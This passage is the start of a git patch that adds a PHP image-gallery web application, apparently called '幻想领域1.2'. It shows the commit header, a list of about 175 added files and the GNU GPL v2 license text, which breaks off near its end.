From ed8b187c6f6eb985f4ec7937acd716985dcb51f6 Mon Sep 17 00:00:00 2001 From: 178146582 <178146582@qq.com> Date: Wed, 11 Apr 2018 19:12:10 +0800 Subject: [PATCH] =?UTF-8?q?=E5=B9=BB=E6=83=B3=E9=A2=86=E5=9F=9F1.2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- LICENSE | 339 +++++++++++++ README.md | 41 ++ application/config.php | 28 ++ .../Admin/ConfigureController.class.php | 78 +++ .../Admin/IndexController.class.php | 73 +++ .../Admin/NavbarController.class.php | 107 ++++ .../controller/Admin/PicController.class.php | 69 +++ .../controller/Admin/UserController.class.php | 92 ++++ .../Admin/UserinfoController.class.php | 94 ++++ .../controller/Home/IndexController.class.php | 1 + .../controller/Home/UserController.class.php | 154 ++++++ application/model/IndexModel.class.php | 23 + application/model/NavbarModel.class.php | 53 ++ application/model/PicModel.class.php | 65 +++ application/model/UserModel.class.php | 155 ++++++ application/view/Admin/configure.php | 111 +++++ application/view/Admin/footer.php | 66 +++ application/view/Admin/header.php | 51 ++ application/view/Admin/images/author.jpg | Bin 0 -> 10086 bytes application/view/Admin/index.php | 89 ++++ application/view/Admin/js/basicParameter.js | 70 +++ application/view/Admin/js/navbarAdd.js | 27 ++ application/view/Admin/js/navbarList.js | 152 ++++++ application/view/Admin/js/picList.js | 99 ++++ application/view/Admin/js/userInfo.js | 70 +++ application/view/Admin/js/userList.js | 137 ++++++ application/view/Admin/layui/css/layui.css | 2 + .../view/Admin/layui/css/layui.mobile.css | 2 + .../view/Admin/layui/css/modules/code.css | 2 + .../css/modules/laydate/default/laydate.css | 2 + .../css/modules/layer/default/icon-ext.png | Bin 0 -> 5911 bytes .../layui/css/modules/layer/default/icon.png | Bin 0 -> 11493 bytes .../layui/css/modules/layer/default/layer.css | 2 + .../css/modules/layer/default/loading-0.gif | Bin 0 -> 5793 bytes .../css/modules/layer/default/loading-1.gif | Bin 0 -> 701 bytes .../css/modules/layer/default/loading-2.gif | Bin 0 -> 1787 bytes .../view/Admin/layui/font/iconfont.eot | Bin 0 -> 38536 bytes .../view/Admin/layui/font/iconfont.svg | 459 ++++++++++++++++++ .../view/Admin/layui/font/iconfont.ttf | Bin 0 -> 38360 bytes .../view/Admin/layui/font/iconfont.woff | Bin 0 -> 25244 bytes .../view/Admin/layui/images/face/0.gif | Bin 0 -> 2689 bytes .../view/Admin/layui/images/face/1.gif | Bin 0 -> 5514 bytes .../view/Admin/layui/images/face/10.gif | Bin 0 -> 2797 bytes .../view/Admin/layui/images/face/11.gif | Bin 0 -> 4121 bytes .../view/Admin/layui/images/face/12.gif | Bin 0 -> 3361 bytes .../view/Admin/layui/images/face/13.gif | Bin 0 -> 7425 bytes .../view/Admin/layui/images/face/14.gif | Bin 0 -> 2375 bytes .../view/Admin/layui/images/face/15.gif | Bin 0 -> 1793 bytes .../view/Admin/layui/images/face/16.gif | Bin 0 -> 6721 bytes .../view/Admin/layui/images/face/17.gif | Bin 0 -> 4439 bytes .../view/Admin/layui/images/face/18.gif | Bin 0 -> 3017 bytes .../view/Admin/layui/images/face/19.gif | Bin 0 -> 3040 bytes .../view/Admin/layui/images/face/2.gif | Bin 0 -> 3222 bytes .../view/Admin/layui/images/face/20.gif | Bin 0 -> 5144 bytes .../view/Admin/layui/images/face/21.gif | Bin 0 -> 5191 bytes .../view/Admin/layui/images/face/22.gif | Bin 0 -> 9823 bytes .../view/Admin/layui/images/face/23.gif | Bin 0 -> 3792 bytes .../view/Admin/layui/images/face/24.gif | Bin 0 -> 8096 bytes .../view/Admin/layui/images/face/25.gif | Bin 0 -> 3127 bytes .../view/Admin/layui/images/face/26.gif | Bin 0 -> 3291 bytes .../view/Admin/layui/images/face/27.gif | Bin 0 -> 4377 bytes .../view/Admin/layui/images/face/28.gif | Bin 0 -> 2793 bytes .../view/Admin/layui/images/face/29.gif | Bin 0 -> 4854 bytes .../view/Admin/layui/images/face/3.gif | Bin 0 -> 4017 bytes .../view/Admin/layui/images/face/30.gif | Bin 0 -> 2555 bytes .../view/Admin/layui/images/face/31.gif | Bin 0 -> 2002 bytes .../view/Admin/layui/images/face/32.gif | Bin 0 -> 3481 bytes .../view/Admin/layui/images/face/33.gif | Bin 0 -> 2454 bytes .../view/Admin/layui/images/face/34.gif | Bin 0 -> 3700 bytes .../view/Admin/layui/images/face/35.gif | Bin 0 -> 1800 bytes .../view/Admin/layui/images/face/36.gif | Bin 0 -> 2331 bytes .../view/Admin/layui/images/face/37.gif | Bin 0 -> 1513 bytes .../view/Admin/layui/images/face/38.gif | Bin 0 -> 3615 bytes .../view/Admin/layui/images/face/39.gif | Bin 0 -> 6495 bytes .../view/Admin/layui/images/face/4.gif | Bin 0 -> 5689 bytes .../view/Admin/layui/images/face/40.gif | Bin 0 -> 3154 bytes .../view/Admin/layui/images/face/41.gif | Bin 0 -> 3644 bytes .../view/Admin/layui/images/face/42.gif | Bin 0 -> 5305 bytes .../view/Admin/layui/images/face/43.gif | Bin 0 -> 2674 bytes .../view/Admin/layui/images/face/44.gif | Bin 0 -> 4126 bytes .../view/Admin/layui/images/face/45.gif | Bin 0 -> 3417 bytes .../view/Admin/layui/images/face/46.gif | Bin 0 -> 3007 bytes .../view/Admin/layui/images/face/47.gif | Bin 0 -> 2333 bytes .../view/Admin/layui/images/face/48.gif | Bin 0 -> 2689 bytes .../view/Admin/layui/images/face/49.gif | Bin 0 -> 2315 bytes .../view/Admin/layui/images/face/5.gif | Bin 0 -> 4567 bytes .../view/Admin/layui/images/face/50.gif | Bin 0 -> 5866 bytes .../view/Admin/layui/images/face/51.gif | Bin 0 -> 2785 bytes .../view/Admin/layui/images/face/52.gif | Bin 0 -> 777 bytes .../view/Admin/layui/images/face/53.gif | Bin 0 -> 2127 bytes .../view/Admin/layui/images/face/54.gif | Bin 0 -> 2196 bytes .../view/Admin/layui/images/face/55.gif | Bin 0 -> 1971 bytes .../view/Admin/layui/images/face/56.gif | Bin 0 -> 2034 bytes .../view/Admin/layui/images/face/57.gif | Bin 0 -> 2705 bytes .../view/Admin/layui/images/face/58.gif | Bin 0 -> 2258 bytes .../view/Admin/layui/images/face/59.gif | Bin 0 -> 10311 bytes .../view/Admin/layui/images/face/6.gif | Bin 0 -> 2213 bytes .../view/Admin/layui/images/face/60.gif | Bin 0 -> 3245 bytes .../view/Admin/layui/images/face/61.gif | Bin 0 -> 2495 bytes .../view/Admin/layui/images/face/62.gif | Bin 0 -> 2017 bytes .../view/Admin/layui/images/face/63.gif | Bin 0 -> 5871 bytes .../view/Admin/layui/images/face/64.gif | Bin 0 -> 6448 bytes .../view/Admin/layui/images/face/65.gif | Bin 0 -> 3576 bytes .../view/Admin/layui/images/face/66.gif | Bin 0 -> 3029 bytes .../view/Admin/layui/images/face/67.gif | Bin 0 -> 2701 bytes .../view/Admin/layui/images/face/68.gif | Bin 0 -> 1424 bytes .../view/Admin/layui/images/face/69.gif | Bin 0 -> 2431 bytes .../view/Admin/layui/images/face/7.gif | Bin 0 -> 3398 bytes .../view/Admin/layui/images/face/70.gif | Bin 0 -> 4590 bytes .../view/Admin/layui/images/face/71.gif | Bin 0 -> 5304 bytes .../view/Admin/layui/images/face/8.gif | Bin 0 -> 4050 bytes .../view/Admin/layui/images/face/9.gif | Bin 0 -> 4221 bytes .../view/Admin/layui/lay/modules/carousel.js | 2 + .../view/Admin/layui/lay/modules/code.js | 2 + .../view/Admin/layui/lay/modules/element.js | 2 + .../view/Admin/layui/lay/modules/flow.js | 2 + .../view/Admin/layui/lay/modules/form.js | 2 + .../view/Admin/layui/lay/modules/jquery.js | 5 + .../view/Admin/layui/lay/modules/laydate.js | 2 + .../view/Admin/layui/lay/modules/layedit.js | 2 + .../view/Admin/layui/lay/modules/layer.js | 2 + .../view/Admin/layui/lay/modules/laypage.js | 2 + .../view/Admin/layui/lay/modules/laytpl.js | 2 + .../view/Admin/layui/lay/modules/mobile.js | 2 + .../view/Admin/layui/lay/modules/table.js | 2 + .../view/Admin/layui/lay/modules/tree.js | 2 + .../view/Admin/layui/lay/modules/upload.js | 2 + .../view/Admin/layui/lay/modules/util.js | 2 + application/view/Admin/layui/layui.all.js | 5 + application/view/Admin/layui/layui.js | 2 + application/view/Admin/navbar.php | 27 ++ application/view/Admin/navbaradd.php | 53 ++ application/view/Admin/pic.php | 54 +++ application/view/Admin/style/main.css | 1 + application/view/Admin/user.php | 21 + application/view/Admin/userinfo.php | 65 +++ application/view/Home/details.php | 139 ++++++ application/view/Home/explore.php | 46 ++ application/view/Home/fonts/icomoon.eot | Bin 0 -> 1540 bytes application/view/Home/fonts/icomoon.svg | 12 + application/view/Home/fonts/icomoon.ttf | Bin 0 -> 1376 bytes application/view/Home/fonts/icomoon.woff | Bin 0 -> 1452 bytes application/view/Home/header.php | 47 ++ application/view/Home/images/favicon.ico | Bin 0 -> 6782 bytes application/view/Home/images/home_cover.jpg | Bin 0 -> 313414 bytes application/view/Home/index.php | 115 +++++ application/view/Home/js/jquery.hwLayer.js | 10 + .../view/Home/js/jquery.imageuploader.js | 18 + application/view/Home/js/jquery.min.js | 5 + application/view/Home/js/jquery.waterfall.js | 146 ++++++ .../view/Home/js/jquery.waterfall.min.js | 1 + application/view/Home/js/main.js | 150 ++++++ application/view/Home/style/hwLayer.css | 1 + application/view/Home/style/main.css | 5 + .../view/Home/style/styles.imageuploader.css | 1 + config.php | 2 + favicon.ico | Bin 0 -> 6782 bytes framework/core/Controller.class.php | 46 ++ framework/core/Factory.class.php | 19 + framework/core/Framework.php | 136 ++++++ framework/core/Model.class.php | 16 + framework/database/DAOMySQLi.class.php | 173 +++++++ framework/database/DbInterface.class.php | 32 ++ framework/database/Pdo.class.php | 11 + framework/helpers/function.base.php | 392 +++++++++++++++ framework/libraries/Autoupdate.class.php | 344 +++++++++++++ framework/libraries/Sinaupload.class.php | 146 ++++++ framework/libraries/Upload.class.php | 144 ++++++ .../libraries/code/ValidateCode.class.php | 89 ++++ framework/libraries/code/framd.ttf | Bin 0 -> 139332 bytes framework/libraries/phpmail/Mail.class.php | 36 ++ framework/libraries/phpmail/Smtp.class.php | 326 +++++++++++++ index.php | 18 + install.php | 264 ++++++++++ upload/logo.png | Bin 0 -> 10283 bytes 175 files changed, 5866 insertions(+) create mode 100644 LICENSE create mode 100644 README.md create mode 100644 application/config.php create mode 100644 application/controller/Admin/ConfigureController.class.php create mode 100644 application/controller/Admin/IndexController.class.php create mode 100644 application/controller/Admin/NavbarController.class.php create mode 100644 application/controller/Admin/PicController.class.php create mode 100644 application/controller/Admin/UserController.class.php create mode 100644 application/controller/Admin/UserinfoController.class.php create mode 100644 application/controller/Home/IndexController.class.php create mode 100644 application/controller/Home/UserController.class.php create mode 100644 application/model/IndexModel.class.php create mode 100644 application/model/NavbarModel.class.php create mode 100644 application/model/PicModel.class.php create mode 100644 application/model/UserModel.class.php create mode 100644 application/view/Admin/configure.php create mode 100644 application/view/Admin/footer.php create mode 100644 application/view/Admin/header.php create mode 100644 application/view/Admin/images/author.jpg create mode 100644 application/view/Admin/index.php create mode 100644 application/view/Admin/js/basicParameter.js create mode 100644 application/view/Admin/js/navbarAdd.js create mode 100644 application/view/Admin/js/navbarList.js create mode 100644 application/view/Admin/js/picList.js create mode 100644 application/view/Admin/js/userInfo.js create mode 100644 application/view/Admin/js/userList.js create mode 100644 application/view/Admin/layui/css/layui.css create mode 100644 application/view/Admin/layui/css/layui.mobile.css create mode 100644 application/view/Admin/layui/css/modules/code.css create mode 100644 application/view/Admin/layui/css/modules/laydate/default/laydate.css create mode 100644 application/view/Admin/layui/css/modules/layer/default/icon-ext.png create mode 100644 application/view/Admin/layui/css/modules/layer/default/icon.png create mode 100644 application/view/Admin/layui/css/modules/layer/default/layer.css create mode 100644 application/view/Admin/layui/css/modules/layer/default/loading-0.gif create mode 100644 application/view/Admin/layui/css/modules/layer/default/loading-1.gif create mode 100644 application/view/Admin/layui/css/modules/layer/default/loading-2.gif create mode 100644 application/view/Admin/layui/font/iconfont.eot create mode 100644 application/view/Admin/layui/font/iconfont.svg create mode 100644 application/view/Admin/layui/font/iconfont.ttf create mode 100644 application/view/Admin/layui/font/iconfont.woff create mode 100644 application/view/Admin/layui/images/face/0.gif create mode 100644 application/view/Admin/layui/images/face/1.gif create mode 100644 application/view/Admin/layui/images/face/10.gif create mode 100644 application/view/Admin/layui/images/face/11.gif create mode 100644 application/view/Admin/layui/images/face/12.gif create mode 100644 application/view/Admin/layui/images/face/13.gif create mode 100644 application/view/Admin/layui/images/face/14.gif create mode 100644 application/view/Admin/layui/images/face/15.gif create mode 100644 application/view/Admin/layui/images/face/16.gif create mode 100644 application/view/Admin/layui/images/face/17.gif create mode 100644 application/view/Admin/layui/images/face/18.gif create mode 100644 application/view/Admin/layui/images/face/19.gif create mode 100644 application/view/Admin/layui/images/face/2.gif create mode 100644 application/view/Admin/layui/images/face/20.gif create mode 100644 application/view/Admin/layui/images/face/21.gif create mode 100644 application/view/Admin/layui/images/face/22.gif create mode 100644 application/view/Admin/layui/images/face/23.gif create mode 100644 application/view/Admin/layui/images/face/24.gif create mode 100644 application/view/Admin/layui/images/face/25.gif create mode 100644 application/view/Admin/layui/images/face/26.gif create mode 100644 application/view/Admin/layui/images/face/27.gif create mode 100644 application/view/Admin/layui/images/face/28.gif create mode 100644 application/view/Admin/layui/images/face/29.gif create mode 100644 application/view/Admin/layui/images/face/3.gif create mode 100644 application/view/Admin/layui/images/face/30.gif create mode 100644 application/view/Admin/layui/images/face/31.gif create mode 100644 application/view/Admin/layui/images/face/32.gif create mode 100644 application/view/Admin/layui/images/face/33.gif create mode 100644 application/view/Admin/layui/images/face/34.gif create mode 100644 application/view/Admin/layui/images/face/35.gif create mode 100644 application/view/Admin/layui/images/face/36.gif create mode 100644 application/view/Admin/layui/images/face/37.gif create mode 100644 application/view/Admin/layui/images/face/38.gif create mode 100644 application/view/Admin/layui/images/face/39.gif create mode 100644 application/view/Admin/layui/images/face/4.gif create mode 100644 application/view/Admin/layui/images/face/40.gif create mode 100644 application/view/Admin/layui/images/face/41.gif create mode 100644 application/view/Admin/layui/images/face/42.gif create mode 100644 application/view/Admin/layui/images/face/43.gif create mode 100644 application/view/Admin/layui/images/face/44.gif create mode 100644 application/view/Admin/layui/images/face/45.gif create mode 100644 application/view/Admin/layui/images/face/46.gif create mode 100644 application/view/Admin/layui/images/face/47.gif create mode 100644 application/view/Admin/layui/images/face/48.gif create mode 100644 application/view/Admin/layui/images/face/49.gif create mode 100644 application/view/Admin/layui/images/face/5.gif create mode 100644 application/view/Admin/layui/images/face/50.gif create mode 100644 application/view/Admin/layui/images/face/51.gif create mode 100644 application/view/Admin/layui/images/face/52.gif create mode 100644 application/view/Admin/layui/images/face/53.gif create mode 100644 application/view/Admin/layui/images/face/54.gif create mode 100644 application/view/Admin/layui/images/face/55.gif create mode 100644 application/view/Admin/layui/images/face/56.gif create mode 100644 application/view/Admin/layui/images/face/57.gif create mode 100644 application/view/Admin/layui/images/face/58.gif create mode 100644 application/view/Admin/layui/images/face/59.gif create mode 100644 application/view/Admin/layui/images/face/6.gif create mode 100644 application/view/Admin/layui/images/face/60.gif create mode 100644 application/view/Admin/layui/images/face/61.gif create mode 100644 application/view/Admin/layui/images/face/62.gif create mode 100644 application/view/Admin/layui/images/face/63.gif create mode 100644 application/view/Admin/layui/images/face/64.gif create mode 100644 application/view/Admin/layui/images/face/65.gif create mode 100644 application/view/Admin/layui/images/face/66.gif create mode 100644 application/view/Admin/layui/images/face/67.gif create mode 100644 application/view/Admin/layui/images/face/68.gif create mode 100644 application/view/Admin/layui/images/face/69.gif create mode 100644 application/view/Admin/layui/images/face/7.gif create mode 100644 application/view/Admin/layui/images/face/70.gif create mode 100644 application/view/Admin/layui/images/face/71.gif create mode 100644 application/view/Admin/layui/images/face/8.gif create mode 100644 application/view/Admin/layui/images/face/9.gif create mode 100644 application/view/Admin/layui/lay/modules/carousel.js create mode 100644 application/view/Admin/layui/lay/modules/code.js create mode 100644 application/view/Admin/layui/lay/modules/element.js create mode 100644 application/view/Admin/layui/lay/modules/flow.js create mode 100644 application/view/Admin/layui/lay/modules/form.js create mode 100644 application/view/Admin/layui/lay/modules/jquery.js create mode 100644 application/view/Admin/layui/lay/modules/laydate.js create mode 100644 application/view/Admin/layui/lay/modules/layedit.js create mode 100644 application/view/Admin/layui/lay/modules/layer.js create mode 100644 application/view/Admin/layui/lay/modules/laypage.js create mode 100644 application/view/Admin/layui/lay/modules/laytpl.js create mode 100644 application/view/Admin/layui/lay/modules/mobile.js create mode 100644 application/view/Admin/layui/lay/modules/table.js create mode 100644 application/view/Admin/layui/lay/modules/tree.js create mode 100644 application/view/Admin/layui/lay/modules/upload.js create mode 100644 application/view/Admin/layui/lay/modules/util.js create mode 100644 application/view/Admin/layui/layui.all.js create mode 100644 application/view/Admin/layui/layui.js create mode 100644 application/view/Admin/navbar.php create mode 100644 application/view/Admin/navbaradd.php create mode 100644 application/view/Admin/pic.php create mode 100644 application/view/Admin/style/main.css create mode 100644 application/view/Admin/user.php create mode 100644 application/view/Admin/userinfo.php create mode 100644 application/view/Home/details.php create mode 100644 application/view/Home/explore.php create mode 100644 application/view/Home/fonts/icomoon.eot create mode 100644 application/view/Home/fonts/icomoon.svg create mode 100644 application/view/Home/fonts/icomoon.ttf create mode 100644 application/view/Home/fonts/icomoon.woff create mode 100644 application/view/Home/header.php create mode 100644 application/view/Home/images/favicon.ico create mode 100644 application/view/Home/images/home_cover.jpg create mode 100644 application/view/Home/index.php create mode 100644 application/view/Home/js/jquery.hwLayer.js create mode 100644 application/view/Home/js/jquery.imageuploader.js create mode 100644 application/view/Home/js/jquery.min.js create mode 100644 application/view/Home/js/jquery.waterfall.js create mode 100644 application/view/Home/js/jquery.waterfall.min.js create mode 100644 application/view/Home/js/main.js create mode 100644 application/view/Home/style/hwLayer.css create mode 100644 application/view/Home/style/main.css create mode 100644 application/view/Home/style/styles.imageuploader.css create mode 100644 config.php create mode 100644 favicon.ico create mode 100644 framework/core/Controller.class.php create mode 100644 framework/core/Factory.class.php create mode 100644 framework/core/Framework.php create mode 100644 framework/core/Model.class.php create mode 100644 framework/database/DAOMySQLi.class.php create mode 100644 framework/database/DbInterface.class.php create mode 100644 framework/database/Pdo.class.php create mode 100644 framework/helpers/function.base.php create mode 100644 framework/libraries/Autoupdate.class.php create mode 100644 framework/libraries/Sinaupload.class.php create mode 100644 framework/libraries/Upload.class.php create mode 100644 framework/libraries/code/ValidateCode.class.php create mode 100644 framework/libraries/code/framd.ttf create mode 100644 framework/libraries/phpmail/Mail.class.php create mode 100644 framework/libraries/phpmail/Smtp.class.php create mode 100644 index.php create mode 100644 install.php create mode 100644 upload/logo.png diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d159169 --- /dev/null +++ b/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the 